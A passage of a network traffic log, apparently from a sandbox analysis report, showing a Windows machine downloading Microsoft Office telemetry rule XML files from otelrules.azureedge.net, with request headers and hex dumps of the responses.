2024-11-18 01:34:29 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:29 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-16547b76f7fwggrphC1DFW2a8s00000003zg00000000dqkz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:29 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-16547b76f7fgvq8chC1DFWhd2w00000005rg000000006mak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:29 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:29 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013429Z-16547b76f7fwggrphC1DFW2a8s000000040g00000000ab4w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:30 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013430Z-164f84587bfbvgrghC1DFWbs7w000000052000000000cg6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:30 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013430Z-16547b76f7fp6s5dhC1DFWe28g00000002f00000000004yf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:30 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013430Z-164f84587bflm48hhC1DFW0nf800000001zg0000000011ny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:30 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013430Z-16547b76f7f64d6whC1DFWf9vn00000003tg00000000162z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:30 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013430Z-16547b76f7fgfpmjhC1DFWw6ec00000004pg0000000004zq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:31 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013431Z-16547b76f7fd77jrhC1DFWfwq000000001qg00000000n45k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:31 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013431Z-16547b76f7fwggrphC1DFW2a8s00000003z000000000fugt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:31 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:31 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013431Z-1866b5c5fbbls4jchC1DFWnmb400000000cg000000000bzt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:31 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
